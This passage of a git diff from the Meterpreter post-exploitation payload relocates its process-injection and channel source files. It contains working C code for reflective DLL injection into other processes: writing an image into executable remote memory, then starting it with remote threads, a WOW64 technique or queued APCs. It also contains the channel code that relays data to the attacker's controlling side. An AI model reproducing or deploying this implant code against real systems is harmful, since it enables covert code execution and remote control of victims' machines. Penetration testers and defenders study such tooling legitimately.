1024, lpStartAddress, lpParameter, CREATE_SUSPENDED, NULL); + if (!hThread) + { + if (dwMeterpreterArch == PROCESS_ARCH_X86 && dwDestinationArch == PROCESS_ARCH_X64) + { + dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREADWOW64; + + if (inject_via_remotethread_wow64(hProcess, lpStartAddress, lpParameter, &hThread) != ERROR_SUCCESS) + { + BREAK_ON_ERROR("[INJECT] inject_via_remotethread: migrate_via_remotethread_wow64 failed") + } + } + else + { + BREAK_ON_ERROR("[INJECT] inject_via_remotethread: CreateRemoteThread failed") + } + } + else + { + dprintf("[INJECT] inject_via_remotethread: succeeded"); + } + + if (remote && response) + { + dprintf("[INJECT] inject_via_remotethread: Sending a migrate response..."); + // Send a successful response to let the ruby side know that we've pretty + // much successfully migrated and have reached the point of no return + packet_add_tlv_uint(response, TLV_TYPE_MIGRATE_TECHNIQUE, dwTechnique); + packet_transmit_response(ERROR_SUCCESS, remote, response); + + dprintf("[INJECT] inject_via_remotethread: Sleeping for two seconds..."); + // Sleep to give the remote side a chance to catch up... + Sleep(2000); + } + + dprintf("[INJECT] inject_via_remotethread: Resuming the injected thread..."); + // Resume the injected thread... + if (ResumeThread(hThread) == (DWORD)-1) + { + BREAK_ON_ERROR("[INJECT] inject_via_remotethread: ResumeThread failed") + } + + } while (0); + + if (hThread) + { + CloseHandle(hThread); + } + + SetLastError(dwResult); + + return dwResult; +} + +/* + * Inject a DLL image into a process via Reflective DLL Injection. + * + * Note: You must inject a DLL of the correct target process architecture, (e.g. a PE32 DLL for + * an x86 (wow64) process or a PE64 DLL for an x64 process). The wrapper function ps_inject_dll() + * in stdapi will handle this automatically. + * + * Note: GetReflectiveLoaderOffset() has a limitation of currenlty not being able to work for PE32 DLL's + * in a native x64 meterpereter due to compile time assumptions, however GetReflectiveLoaderOffset() + * will check for this and fail gracefully. + * + * Note: This function largely depreciates LoadRemoteLibraryR(). + */ +DWORD inject_dll( DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, char * cpCommandLine ) +{ + DWORD dwResult = ERROR_ACCESS_DENIED; + DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN; + LPVOID lpRemoteCommandLine = NULL; + HANDLE hProcess = NULL; + LPVOID lpRemoteLibraryBuffer = NULL; + LPVOID lpReflectiveLoader = NULL; + DWORD dwReflectiveLoaderOffset = 0; + + do + { + if( !lpDllBuffer || !dwDllLenght ) + BREAK_WITH_ERROR( "[INJECT] inject_dll. No Dll buffer supplied.", ERROR_INVALID_PARAMETER ); + + // check if the library has a ReflectiveLoader... + dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpDllBuffer ); + if( !dwReflectiveLoaderOffset ) + BREAK_WITH_ERROR( "[INJECT] inject_dll. GetReflectiveLoaderOffset failed.", ERROR_INVALID_FUNCTION ); + + hProcess = OpenProcess( PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid ); + if( !hProcess ) + BREAK_ON_ERROR( "[INJECT] inject_dll. OpenProcess failed." ); + + if( cpCommandLine ) + { + // alloc some space and write the commandline which we will pass to the injected dll... + lpRemoteCommandLine = VirtualAllocEx( hProcess, NULL, strlen(cpCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); + if( !lpRemoteCommandLine ) + BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 1 failed" ); + + if( !WriteProcessMemory( hProcess, lpRemoteCommandLine, cpCommandLine, strlen(cpCommandLine)+1, NULL ) ) + BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 1 failed" ); + } + + // alloc memory (RWX) in the host process for the image... + lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwDllLenght, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + if( !lpRemoteLibraryBuffer ) + BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 2 failed" ); + + // write the image into the host process... + if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpDllBuffer, dwDllLenght, NULL ) ) + BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 2 failed" ); + + // add the offset to ReflectiveLoader() to the remote library address... + lpReflectiveLoader = (LPVOID)( (DWORD)lpRemoteLibraryBuffer + (DWORD)dwReflectiveLoaderOffset ); + + // First we try to inject by directly creating a remote thread in the target process + if( inject_via_remotethread( NULL, NULL, hProcess, dwMeterpreterArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS ) + { + dprintf( "[INJECT] inject_dll. inject_via_remotethread failed, trying inject_via_apcthread..." ); + + // If that fails we can try to migrate via a queued APC in the target process + if( inject_via_apcthread( NULL, NULL, hProcess, dwPid, dwMeterpreterArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS ) + BREAK_ON_ERROR( "[INJECT] inject_dll. inject_via_apcthread failed" ) + } + + dwResult = ERROR_SUCCESS; + + } while( 0 ); + + if( hProcess ) + CloseHandle( hProcess ); + + return dwResult; +} diff --git a/c/meterpreter/source/common/arch/win/i386/base_inject.h b/c/meterpreter/source/metsrv/base_inject.h similarity index 83% rename from c/meterpreter/source/common/arch/win/i386/base_inject.h rename to c/meterpreter/source/metsrv/base_inject.h index e73b3270..017e6970 100644 --- a/c/meterpreter/source/common/arch/win/i386/base_inject.h +++ b/c/meterpreter/source/metsrv/base_inject.h @@ -1,88 +1,80 @@ -//===============================================================================================// -#ifndef _METERPRETER_BASE_INJECT_H -#define _METERPRETER_BASE_INJECT_H -//===============================================================================================// - -// These are defined in the stdapi projects ps.h file. We should put them somewhere more generic so we dont dup them here. -#define PROCESS_ARCH_UNKNOWN 0 -#define PROCESS_ARCH_X86 1 -#define PROCESS_ARCH_X64 2 -#define PROCESS_ARCH_IA64 3 - -// The three injection techniques currently supported. -#define MIGRATE_TECHNIQUE_REMOTETHREAD 0 -#define MIGRATE_TECHNIQUE_REMOTETHREADWOW64 1 -#define MIGRATE_TECHNIQUE_APCQUEUE 2 - -extern const DWORD dwMeterpreterArch; - -//===============================================================================================// - -// Definition of ntdll!NtQueueApcThread -typedef NTSTATUS (NTAPI * NTQUEUEAPCTHREAD)( HANDLE hThreadHandle, LPVOID lpApcRoutine, LPVOID lpApcRoutineContext, LPVOID lpApcStatusBlock, LPVOID lpApcReserved ); - -// Definitions used for running native x64 code from a wow64 process (see executex64.asm) -typedef BOOL (WINAPI * X64FUNCTION)( DWORD dwParameter ); -typedef DWORD (WINAPI * EXECUTEX64)( X64FUNCTION pFunction, DWORD dwParameter ); - -//===============================================================================================// - -// The context used for injection via migrate_via_apcthread -typedef struct _APCCONTEXT -{ - union - { - LPVOID lpStartAddress; - BYTE bPadding1[8]; - } s; - - union - { - LPVOID lpParameter; - BYTE bPadding2[8]; - } p; - - BYTE bExecuted; - -} APCCONTEXT, * LPAPCCONTEXT; - -// The context used for injection via migrate_via_remotethread_wow64 -typedef struct _WOW64CONTEXT -{ - union - { - HANDLE hProcess; - BYTE bPadding2[8]; - } h; - - union - { - LPVOID lpStartAddress; - BYTE bPadding1[8]; - } s; - - union - { - LPVOID lpParameter; - BYTE bPadding2[8]; - } p; - union - { - HANDLE hThread; - BYTE bPadding2[8]; - } t; -} WOW64CONTEXT, * LPWOW64CONTEXT; - -//===============================================================================================// - -DWORD inject_via_apcthread(Remote * remote, Packet * response, HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter); - -DWORD inject_via_remotethread(Remote * remote, Packet * response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter); - -DWORD inject_via_remotethread_wow64(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread); - -DWORD inject_dll(DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, char * cpCommandLine); - -//===============================================================================================// -#endif +//===============================================================================================// +#ifndef _METERPRETER_METSRV_BASE_INJECT_H +#define _METERPRETER_METSRV_BASE_INJECT_H +//===============================================================================================// + +// The three injection techniques currently supported. +#define MIGRATE_TECHNIQUE_REMOTETHREAD 0 +#define MIGRATE_TECHNIQUE_REMOTETHREADWOW64 1 +#define MIGRATE_TECHNIQUE_APCQUEUE 2 + +//===============================================================================================// + +// Definition of ntdll!NtQueueApcThread +typedef NTSTATUS (NTAPI * NTQUEUEAPCTHREAD)( HANDLE hThreadHandle, LPVOID lpApcRoutine, LPVOID lpApcRoutineContext, LPVOID lpApcStatusBlock, LPVOID lpApcReserved ); + +// Definitions used for running native x64 code from a wow64 process (see executex64.asm) +typedef BOOL (WINAPI * X64FUNCTION)( DWORD dwParameter ); +typedef DWORD (WINAPI * EXECUTEX64)( X64FUNCTION pFunction, DWORD dwParameter ); + +//===============================================================================================// + +// The context used for injection via migrate_via_apcthread +typedef struct _APCCONTEXT +{ + union + { + LPVOID lpStartAddress; + BYTE bPadding1[8]; + } s; + + union + { + LPVOID lpParameter; + BYTE bPadding2[8]; + } p; + + BYTE bExecuted; + +} APCCONTEXT, * LPAPCCONTEXT; + +// The context used for injection via migrate_via_remotethread_wow64 +typedef struct _WOW64CONTEXT +{ + union + { + HANDLE hProcess; + BYTE bPadding2[8]; + } h; + + union + { + LPVOID lpStartAddress; + BYTE bPadding1[8]; + } s; + + union + { + LPVOID lpParameter; + BYTE bPadding2[8]; + } p; + union + { + HANDLE hThread; + BYTE bPadding2[8]; + } t; +} WOW64CONTEXT, * LPWOW64CONTEXT; + +//===============================================================================================// + +DWORD inject_via_apcthread(Remote * remote, Packet * response, HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter); + +DWORD inject_via_remotethread(Remote * remote, Packet * response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter); + +DWORD inject_via_remotethread_wow64(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread); + +DWORD inject_dll(DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, char * cpCommandLine); + +//===============================================================================================// +#endif //===============================================================================================// \ No newline at end of file diff --git a/c/meterpreter/source/common/channel.c b/c/meterpreter/source/metsrv/channel.c old mode 100755 new mode 100644 similarity index 93% rename from c/meterpreter/source/common/channel.c rename to c/meterpreter/source/metsrv/channel.c index f4bf4a09..d3bbdb77 --- a/c/meterpreter/source/common/channel.c +++ b/c/meterpreter/source/metsrv/channel.c @@ -1,937 +1,933 @@ -#include "common.h" - -// List insertion and removal -VOID channel_add_list_entry(Channel *channel); -VOID channel_remove_list_entry(Channel *channel); - -// Generic buffer manipulation routines -VOID channel_set_buffer_io_handler(ChannelBuffer *buffer, LPVOID context, - DirectIoHandler dio); -VOID channel_write_buffer(Channel *channel, ChannelBuffer *buffer, - PUCHAR chunk, ULONG chunkLength, PULONG bytesWritten); -VOID channel_read_buffer(Channel *channel, ChannelBuffer *buffer, - PUCHAR chunk, ULONG chunkLength, PULONG bytesRead); - -// Channel routine duplication -ChannelCompletionRoutine *channel_duplicate_completion_routine( - ChannelCompletionRoutine *in); - -// Linked list of allocated channels -Channel *channelList = NULL; -DWORD channelIdPool = 0; - -/* - * Create a new channel, optionally with a supplied identifier. - * - * If the identifier is zero, a new unique identifier is allocated. - * - * TODO: identifier conflicts due to being able to supply an id - */ -Channel *channel_create(DWORD identifier, DWORD flags) -{ - Channel *channel = NULL; - - do - { - // Allocate storage for the channel - if (!(channel = (Channel *)malloc(sizeof(Channel)))) - break; - - // Zero it - memset(channel, 0, sizeof(Channel)); - - // Set the channel's unique identifier - channel->identifier = (!identifier) ? ++channelIdPool : identifier; - channel->interactive = FALSE; - channel->flags = flags; - channel->cls = CHANNEL_CLASS_BUFFERED; - channel->lock = lock_create(); - - memset(&channel->ops, 0, sizeof(channel->ops)); - - // Initialize the channel's buffered default IO handler - // to the internal buffering methods - channel_set_buffered_io_handler(channel, &channel->ops.buffered, - channel_default_io_handler); - - // Insert the channel into the list of channels - channel_add_list_entry(channel); - - } while (0); - - return channel; -} - -/* - * Creates a stream-based channel with initialized operations. An example of - * streaming channel is TCP. - */ -LINKAGE Channel *channel_create_stream(DWORD identifier, - DWORD flags, StreamChannelOps *ops) -{ - Channel *channel = channel_create(identifier, flags); - - if (channel) - { - channel->cls = CHANNEL_CLASS_STREAM; - - if (ops) - memcpy(&channel->ops.stream, ops, sizeof(StreamChannelOps)); - else - memset(&channel->ops, 0, sizeof(channel->ops)); - } - - return channel; -} - -/* - * Creates a datagram-based channel with initialized operations. An example of - * a datagram channel is UDP. - */ -LINKAGE Channel *channel_create_datagram(DWORD identifier, - DWORD flags, DatagramChannelOps *ops) -{ - Channel *channel = channel_create(identifier, flags); - - if (channel) - { - channel->cls = CHANNEL_CLASS_DATAGRAM; - - if (ops) - memcpy(&channel->ops.datagram, ops, sizeof(DatagramChannelOps)); - else - memset(&channel->ops, 0, sizeof(channel->ops)); - } - - return channel; -} - -/* - * Creates a pool-based channel with initialized operations. An example of a - * pool channel is one that operates on a file. - */ -LINKAGE Channel *channel_create_pool(DWORD identifier, - DWORD flags, PoolChannelOps *ops) -{ - Channel *channel = channel_create(identifier, flags); - - if (channel) - { - channel->cls = CHANNEL_CLASS_POOL; - - if (ops) - memcpy(&channel->ops.pool, ops, sizeof(PoolChannelOps)); - else - memset(&channel->ops, 0, sizeof(channel->ops)); - } - - return channel; -} - -/* - * Destroy a previously allocated channel - */ -VOID channel_destroy(Channel *channel, Packet *request) -{ - dprintf( "[CHANNEL] channel_destroy. channel=0x%08X", channel ); - // Call the close handler as we're being destroyed. - if ((channel_get_class(channel) == CHANNEL_CLASS_BUFFERED) && - (channel->ops.buffered.dio)) - { - channel->ops.buffered.dio(channel, &channel->ops.buffered, - channel->ops.buffered.dioContext, CHANNEL_DIO_MODE_CLOSE, - NULL, 0, NULL); - - if (channel->ops.buffered.buffer) - free(channel->ops.buffered.buffer); - } - else - { - NativeChannelOps *ops = (NativeChannelOps *)&channel->ops; - - if (ops->close) - ops->close(channel, request, ops->context); - } - - // Remove the channel from the list of channels - channel_remove_list_entry(channel); - - lock_destroy( channel->lock ); - - // Destroy the channel context - dprintf( "[CHANNEL] Free up the channel context 0x%p", channel ); - free(channel); -} - -/* - * Get the channel's identifier - */ -DWORD channel_get_id(Channel *channel) -{ - return channel->identifier; -} - -/* - * Set the type of channel, such as process, fs, etc. - */ -VOID channel_set_type(Channel *channel, PCHAR type) -{ - if (channel->type) - free(channel->type); - - channel->type = NULL; - - if (type) - channel->type = _strdup(type); -} - -/* - * Get the channel's type. - */ -PCHAR channel_get_type(Channel *channel) -{ - return channel->type; -} - -/* - * Returns the channel's class - */ -DWORD channel_get_class(Channel *channel) -{ - return channel->cls; -} - -/* - * Sets the channel's operational flags - */ -VOID channel_set_flags(Channel *channel, ULONG flags) -{ - channel->flags = flags; -} - -/* - * Checks to see if the supplied flag is set on the channel - */ -BOOLEAN channel_is_flag(Channel *channel, ULONG flag) -{ - return ((channel->flags & flag) == flag) ? TRUE : FALSE; -} - -/* - * Returns the channel's operational flags - */ -ULONG channel_get_flags(Channel *channel) -{ - return channel->flags; -} - -/* - * Set the channel's interactive flag - */ -VOID channel_set_interactive(Channel *channel, BOOL interactive) -{ - channel->interactive = interactive; -} - -/* - * Return the channel's interactive flag - */ -BOOL channel_is_interactive(Channel *channel) -{ - return channel->interactive; -} - -/* - * Set the buffered buffer direct IO handler - */ -VOID channel_set_buffered_io_handler(Channel *channel, LPVOID dioContext, - DirectIoHandler dio) -{ - channel_set_buffer_io_handler(&channel->ops.buffered, dioContext, dio); -} - -PVOID channel_get_buffered_io_context(Channel *channel) -{ - return channel->ops.buffered.dioContext; -} - -/* - * Write the supplied buffer to the remote endpoint of the channel. - * - * This will cause the passed buffer to be written in channel->ops.buffered on the - * remote endpoint. - */ -DWORD channel_write_to_remote(Remote *remote, Channel *channel, PUCHAR chunk, - ULONG chunkLength, PULONG bytesWritten) -{ - Packet *request = packet_create(PACKET_TLV_TYPE_REQUEST, - "core_channel_write"); - DWORD res = ERROR_SUCCESS; - Tlv entries[2]; - DWORD idNbo; - - do - { - // Did the allocation fail? - if (!request) - { - res = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - idNbo = htonl(channel_get_id(channel)); - - entries[0].header.type = TLV_TYPE_CHANNEL_ID; - entries[0].header.length = sizeof(DWORD); - entries[0].buffer = (PUCHAR)&idNbo; - - // if the channel data is ment to be compressed, compress it! - if( channel_is_flag( channel, CHANNEL_FLAG_COMPRESS ) ) - entries[1].header.type = TLV_TYPE_CHANNEL_DATA|TLV_META_TYPE_COMPRESSED; - else - entries[1].header.type = TLV_TYPE_CHANNEL_DATA; - - entries[1].header.length = chunkLength; - entries[1].buffer = chunk; - - // Add the TLV data - if ((res = packet_add_tlv_group(request, TLV_TYPE_CHANNEL_DATA_GROUP, entries, 2)) != ERROR_SUCCESS) - break; - - // Transmit the packet - res = packet_transmit(remote, request, NULL); - - } while (0); - - return res; -} - -/* - * Write data into the buffered buffer using the established DIO operation for - * writing. - */ -DWORD channel_write_to_buffered(Channel *channel, PUCHAR chunk, ULONG chunkLength, - PULONG bytesWritten) -{ - return channel->ops.buffered.dio(channel, &channel->ops.buffered, - channel->ops.buffered.dioContext, CHANNEL_DIO_MODE_WRITE, chunk, - chunkLength, bytesWritten); -} - -/* - * Read data from the buffered buffer using the established DIO operation for - * reading. - */ -DWORD channel_read_from_buffered(Channel *channel, PUCHAR chunk, ULONG chunkLength, - PULONG bytesRead) -{ - return channel->ops.buffered.dio(channel, &channel->ops.buffered, - channel->ops.buffered.dioContext, CHANNEL_DIO_MODE_READ, chunk, chunkLength, - bytesRead); -} - -/* - * Sets a given buffer's direct IO handler - */ -VOID channel_set_buffer_io_handler(ChannelBuffer *buffer, LPVOID context, - DirectIoHandler dio) -{ - // If no direct I/O handler is supplied, use the default - if (!dio) - { - dio = channel_default_io_handler; - context = NULL; - } - - buffer->dioContext = context; - buffer->dio = dio; -} - -/* - * Changes the native I/O context for the supplied channel - */ -LINKAGE VOID channel_set_native_io_context(Channel *channel, LPVOID context) -{ - NativeChannelOps *ops = (NativeChannelOps *)&channel->ops; - - ops->context = context; -} - -/* - * Returns the native context that is associated with the channel - */ -LINKAGE LPVOID channel_get_native_io_context(Channel *channel) -{ - NativeChannelOps *ops = (NativeChannelOps *)&channel->ops; - - return ops->context; -} - -/********************** - * Remote channel API * - **********************/ - -/* - * Duplicates a completion routine so it can be saved for calling back - */ -ChannelCompletionRoutine *channel_duplicate_completion_routine( - ChannelCompletionRoutine *in) -{ - ChannelCompletionRoutine *ret = NULL; - - if ((ret = (ChannelCompletionRoutine *)malloc( - sizeof(ChannelCompletionRoutine)))) - memcpy(ret, in, sizeof(ChannelCompletionRoutine)); - - return ret; -} - -/* - * Channel completion routine dispatcher - */ -DWORD _channel_packet_completion_routine(Remote *remote, Packet *packet, - LPVOID context, LPCSTR method, DWORD result) -{ - ChannelCompletionRoutine *comp = (ChannelCompletionRoutine *)context; - DWORD channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); - Channel *channel = channel_find_by_id(channelId); - DWORD res = ERROR_NOT_FOUND; - - - dprintf( "[CHANNEL] _channel_packet_completion_routine. channel=0x%08X method=%s", channel, method ); - - // If the channel was not found and it isn't an open request, return failure - if (!channel && strcmp(method, "core_channel_open")) - return ERROR_NOT_FOUND; - - if ((!strcmp(method, "core_channel_open")) && - (comp->routine.open)) - res = comp->routine.open(remote, channel, comp->context, result); - else if ((!strcmp(method, "core_channel_read")) && - (comp->routine.read)) - { - ULONG length = 0, realLength = 0; - PUCHAR buffer = NULL; - - // Get the number of bytes written - length = packet_get_tlv_value_uint(packet, TLV_TYPE_LENGTH); - - // Allocate storage for it - if ((length) && (buffer = (PUCHAR)malloc(length))) - { - memset(buffer, 0, length); - - channel_read_from_buffered(channel, buffer, length, &realLength); - } - - res = comp->routine.read(remote, channel, comp->context, result, - buffer, realLength); - - if (buffer) - free(buffer); - } - else if ((!strcmp(method, "core_channel_write")) && - (comp->routine.write)) - { - Tlv lengthTlv; - ULONG length = 0; - - // Get the number of bytes written to the channel - if ((packet_get_tlv(packet, TLV_TYPE_LENGTH, &lengthTlv) - == ERROR_SUCCESS) && - (lengthTlv.header.length >= sizeof(DWORD))) - length = ntohl(*(LPDWORD)lengthTlv.buffer); - - res = comp->routine.write(remote, channel, comp->context, result, - length); - } - else if ((!strcmp(method, "core_channel_close")) && - (comp->routine.close)) { - dprintf( "[CHANNEL] freeing up the completion context" ); - res = comp->routine.close(remote, channel, comp->context, result); - } - else if ((!strcmp(method, "core_channel_interact")) && - (comp->routine.interact)) - res = comp->routine.interact(remote, channel, comp->context, result); - - // Deallocate the completion context - dprintf( "[CHANNEL] freeing up the completion context" ); - free(comp); - - return res; -} - -/* - * Tries to open a channel with the remote endpoint, optionally calling the - * supplied completion routine upon response. - */ -DWORD channel_open(Remote *remote, Tlv *addend, DWORD addendLength, ChannelCompletionRoutine *completionRoutine) -{ - PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL; - ChannelCompletionRoutine *dupe = NULL; - DWORD res = ERROR_SUCCESS; - PCHAR method = "core_channel_open"; - Packet *request; - Tlv methodTlv; - - do - { - // Allocate the request - if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL))) - { - res = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - // Add the supplied TLVs - packet_add_tlvs(request, addend, addendLength); - - // If no method TLV as added, add the default one. - if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS) - { - packet_add_tlv_string(request, TLV_TYPE_METHOD, method); - } - - // Initialize the packet completion routine - if (completionRoutine) - { - // Duplicate the completion routine - dupe = channel_duplicate_completion_routine(completionRoutine); - - requestCompletion.context = dupe; - requestCompletion.routine = _channel_packet_completion_routine; - realRequestCompletion = &requestCompletion; - } - - // Transmit the packet with the supplied completion routine, if any. - res = packet_transmit(remote, request, realRequestCompletion); - - } while (0); - - return res; -} - -/* - * Read data from the remote end of the channel. - */ -DWORD channel_read(Channel *channel, Remote *remote, Tlv *addend, - DWORD addendLength, ULONG length, - ChannelCompletionRoutine *completionRoutine) -{ - PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL; - ChannelCompletionRoutine *dupe = NULL; - Packet *request; - DWORD res = ERROR_SUCCESS; - PCHAR method = "core_channel_read"; - Tlv methodTlv; - - do - { - // Allocate an empty request - if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL))) - { - res = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - // Add the supplied TLVs - packet_add_tlvs(request, addend, addendLength); - - // If no method TLV as added, add the default one. - if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS) - { - packet_add_tlv_string(request, TLV_TYPE_METHOD, method); - } - - // Add the channel identifier and the length to read - packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel)); - packet_add_tlv_uint(request, TLV_TYPE_LENGTH, length); - - // Initialize the packet completion routine - if (completionRoutine) - { - // Duplicate the completion routine - dupe = channel_duplicate_completion_routine(completionRoutine); - - requestCompletion.context = dupe; - requestCompletion.routine = _channel_packet_completion_routine; - realRequestCompletion = &requestCompletion; - } - - // Transmit the packet with the supplied completion routine, if any. - res = packet_transmit(remote, request, realRequestCompletion); - - } while (0); - - return res; -} - -/* - * Write to the remote end of the channel - */ -DWORD channel_write(Channel *channel, Remote *remote, Tlv *addend, - DWORD addendLength, PUCHAR buffer, ULONG length, - ChannelCompletionRoutine *completionRoutine) -{ - PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL; - ChannelCompletionRoutine *dupe = NULL; - DWORD res = ERROR_SUCCESS; - LPCSTR method = "core_channel_write"; - Packet *request; - Tlv methodTlv; - - do - { - // Allocate a request packet - if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL))) - { - res = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - // Add the supplied TLVs - packet_add_tlvs(request, addend, addendLength); - - // If no method TLV as added, add the default one. - if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS) - { - packet_add_tlv_string(request, TLV_TYPE_METHOD, method); - } - - // Add the channel identifier and the length to write - packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel)); - - // if the channel data is ment to be compressed, compress it! - if (channel_is_flag(channel, CHANNEL_FLAG_COMPRESS)) - { - packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA | TLV_META_TYPE_COMPRESSED, buffer, length); - } - else - { - packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA, buffer, length); - } - - packet_add_tlv_uint(request, TLV_TYPE_LENGTH, channel_get_id(channel)); - - // Initialize the packet completion routine - if (completionRoutine) - { - // Duplicate the completion routine - dupe = channel_duplicate_completion_routine(completionRoutine); - - requestCompletion.context = dupe; - requestCompletion.routine = _channel_packet_completion_routine; - realRequestCompletion = &requestCompletion; - } - - // Transmit the packet with the supplied completion routine, if any. - res = packet_transmit(remote, request, realRequestCompletion); - - } while (0); - - return res; -} - -/* - * Close the channel provided. - */ -DWORD channel_close(Channel *channel, Remote *remote, Tlv *addend, - DWORD addendLength, ChannelCompletionRoutine *completionRoutine) -{ - PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL; - ChannelCompletionRoutine *dupe = NULL; - LPCSTR method = "core_channel_close"; - DWORD res = ERROR_SUCCESS; - Packet *request; - Tlv methodTlv; - - do - { - if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL))) - { - res = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - // Add the supplied TLVs - packet_add_tlvs(request, addend, addendLength); - - // If no method TLV as added, add the default one. - if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS) - { - packet_add_tlv_string(request, TLV_TYPE_METHOD, method); - } - - // Add the channel identifier - packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel)); - - // Initialize the packet completion routine - if (completionRoutine) - { - // Duplicate the completion routine - dupe = channel_duplicate_completion_routine(completionRoutine); - - requestCompletion.context = dupe; - requestCompletion.routine = _channel_packet_completion_routine; - realRequestCompletion = &requestCompletion; - } - - dprintf("[CHANNEL] channel_close. channel=0x%08X completion=0x%.8x", channel, completionRoutine); - - // Transmit the packet with the supplied completion routine, if any. - res = packet_transmit(remote, request, realRequestCompletion); - - } while (0); - - return res; -} - -/* - * Interact with a given channel such that data on the remote end is - * forwarded in real time rather than being polled. - */ -DWORD channel_interact(Channel *channel, Remote *remote, Tlv *addend, - DWORD addendLength, BOOL enable, - ChannelCompletionRoutine *completionRoutine) -{ - PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL; - ChannelCompletionRoutine *dupe = NULL; - LPCSTR method = "core_channel_interact"; - DWORD res = ERROR_SUCCESS; - Packet *request; - Tlv methodTlv; - - do - { - if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL))) - { - res = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - // Add the supplied TLVs - packet_add_tlvs(request, addend, addendLength); - - // If no method TLV as added, add the default one. - if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS) - { - packet_add_tlv_string(request, TLV_TYPE_METHOD, method); - } - - // Add the channel identifier - packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel)); - - // Add the enable/disable boolean - packet_add_tlv_bool(request, TLV_TYPE_BOOL, enable); - - // Initialize the packet completion routine - if (completionRoutine) - { - // Duplicate the completion routine - dupe = channel_duplicate_completion_routine(completionRoutine); - - requestCompletion.context = dupe; - requestCompletion.routine = _channel_packet_completion_routine; - realRequestCompletion = &requestCompletion; - } - - // Transmit the packet with the supplied completion routine, if any. - res = packet_transmit(remote, request, realRequestCompletion); - - } while (0); - - return res; -} - -/********************* - * Channel searching * - *********************/ - -/* - * Find a channel context by its identifier - */ -Channel *channel_find_by_id(DWORD id) -{ - Channel *current; - - for (current = channelList; current; current = current->next) - { - if (current->identifier == id) - { - break; - } - } - - return current; -} - -/* - * Insert a channel into the channel list - */ -VOID channel_add_list_entry(Channel *channel) -{ - if (channelList) - { - channelList->prev = channel; - } - - channel->next = channelList; - channel->prev = NULL; - channelList = channel; -} - -/* - * Remove a channel from the channel list - */ -VOID channel_remove_list_entry(Channel *channel) -{ - if (channel->prev) - { - channel->prev->next = channel->next; - } - else - { - channelList = channel->next; - } - - if (channel->next) - { - channel->next->prev = channel->prev; - } -} - -/* -* Determines whether the specified channel exists -*/ -BOOL channel_exists(Channel *channel) -{ - Channel *current; - - for (current = channelList; current; current = current->next) - { - if (current == channel) - { - return TRUE; - } - } - - return FALSE; -} - -/************** - * Default IO * - **************/ - -/* - * Channel default IO operations - * - * The default implementation queues and dequeues write/read operations, - * respectively. - */ -DWORD channel_default_io_handler(Channel *channel, ChannelBuffer *buffer, - LPVOID context, ChannelDioMode mode, PUCHAR chunk, ULONG length, - PULONG bytesXfered) -{ - switch (mode) - { - case CHANNEL_DIO_MODE_READ: - channel_read_buffer(channel, buffer, chunk, length, bytesXfered); - break; - case CHANNEL_DIO_MODE_WRITE: - channel_write_buffer(channel, buffer, chunk, length, bytesXfered); - break; - default: - break; - } - - return ERROR_SUCCESS; -} - -/* - * Writes arbitrary data into a buffer, optionally allocating more memory - * as necessary. - */ -VOID channel_write_buffer(Channel *channel, ChannelBuffer *buffer, - PUCHAR chunk, ULONG 